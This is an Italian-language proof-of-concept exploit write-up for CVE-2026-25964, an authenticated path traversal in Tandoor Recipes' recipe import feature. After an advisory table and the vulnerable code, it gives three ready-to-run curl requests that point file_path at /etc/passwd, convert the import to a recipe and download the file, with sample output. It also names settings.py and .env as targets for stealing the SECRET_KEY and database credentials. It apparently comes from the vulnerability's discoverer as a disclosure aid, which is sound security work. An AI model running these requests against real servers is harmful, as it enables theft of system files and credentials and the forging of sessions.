
Proof-of-concept exploit per CVE-2026-25964, una divulgazione locale di file autenticata in Tandoor Recipes tramite path traversal nell'importazione di ricette, che consente la lettura arbitraria di file.
Proof-of-Concept per Divulgazione Locale di File Autenticata tramite Importazione Ricette
Divulgazione: Originariamente segnalata da me tramite GHSA-6485-jr28-52xx
⚠️ Solo per test di penetrazione/ricerca autorizzati.
| Campo | Valore |
|---|
| ID CVE | CVE-2026-25964 |
| Gravità | 🟡 Media |
| Punteggio CVSS | 4.9 |
| Vettore CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: Path Traversal, CWE-73: Controllo Esterno del Nome File |
| Prodotto Interessato | Tandoor Recipes ≤ 2.5.0 |
| Versione Corretta | 2.5.1 |
| Avviso | GHSA-6485-jr28-52xx |
Una vulnerabilità di Path Traversal (CWE-22) non correttamente autorizzata nel flusso di lavoro RecipeImport di Tandoor Recipes consente agli utenti autenticati con permessi di importazione di leggere file arbitrari sul server. Questa vulnerabilità deriva dalla mancanza di validazione dell'input nel parametro file_path e da controlli insufficienti nel backend di archiviazione Local, consentendo a un attaccante di bypassare le restrizioni della directory di archiviazione e accedere a file di sistema sensibili (ad es. /etc/passwd) o file di configurazione dell'applicazione (ad es. settings.py), portando potenzialmente al compromesso completo del sistema.
La vulnerabilità esiste a causa della mancata validazione dell'input fornito dall'utente rispetto alla directory root di archiviazione prevista dall'applicazione.
/api/recipe-import/ consente agli utenti autenticati di creare un oggetto RecipeImport con un file_path e un backend di storage arbitrari. Non viene eseguita alcuna validazione per garantire che il file_path risieda all'interno della directory di archiviazione configurata.Local.get_file in cookbook/provider/local.py elabora la richiesta di recupero del file:
@staticmethod
def get_file(recipe):
# VULNERABILITÀ: Apre direttamente il percorso specificato in recipe.file_path
# senza verificare che sia all'interno della directory root di archiviazione.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) o percorsi relativi (ad es. ../../app/config.py).Quando un oggetto RecipeImport viene convertito in una Recipe tramite l'azione import_recipe, il percorso dannoso viene persistito. Una successiva chiamata a get_recipe_file attiva l'operazione di lettura vulnerabile, restituendo il contenuto del file all'utente.
Prerequisiti: Un account utente autenticato con permessi per importare ricette. Per impostazione predefinita, questo permesso potrebbe essere limitato, ma se concesso a ruoli con privilegi inferiori, l'impatto aumenta significativamente. Anche per gli amministratori, questo rappresenta una violazione del confine di sicurezza poiché i permessi a livello di applicazione non dovrebbero concedere accesso in lettura a livello di filesystem.
Passo 1: Creare un Oggetto di Importazione Dannoso
Inviare una richiesta POST per creare un oggetto RecipeImport che punta al file target (ad es. /etc/passwd).
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(Nota: storage: 1 corrisponde tipicamente all'Archiviazione Locale predefinita. Regolare se necessario.)

Passo 2: Convertire l'Importazione in Ricetta
Attivare il processo di importazione per creare un oggetto Recipe persistente. Notare l'import_id (ad es. 4) restituito dal Passo 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(Sostituire <IMPORT_ID> con l'ID della risposta del Passo 1. Questa richiesta restituirà il nuovo recipe_id (ad es. 34)

Passo 3: Scaricare il File Arbitrario
Accedere al file tramite l'endpoint del file della ricetta utilizzando il nuovo id della ricetta restituito dal Passo 2 (ad es. 34).
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
Risultato: Il server restituisce il contenuto di /etc/passwd, confermando la vulnerabilità LFD.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd consente l'enumerazione degli utenti di sistema./opt/recipes/recipes/settings.py (confermato nei test) o .env. Questo espone la SECRET_KEY (consentendo la falsificazione delle sessioni) e le Credenziali del Database (consentendo l'accesso diretto al database).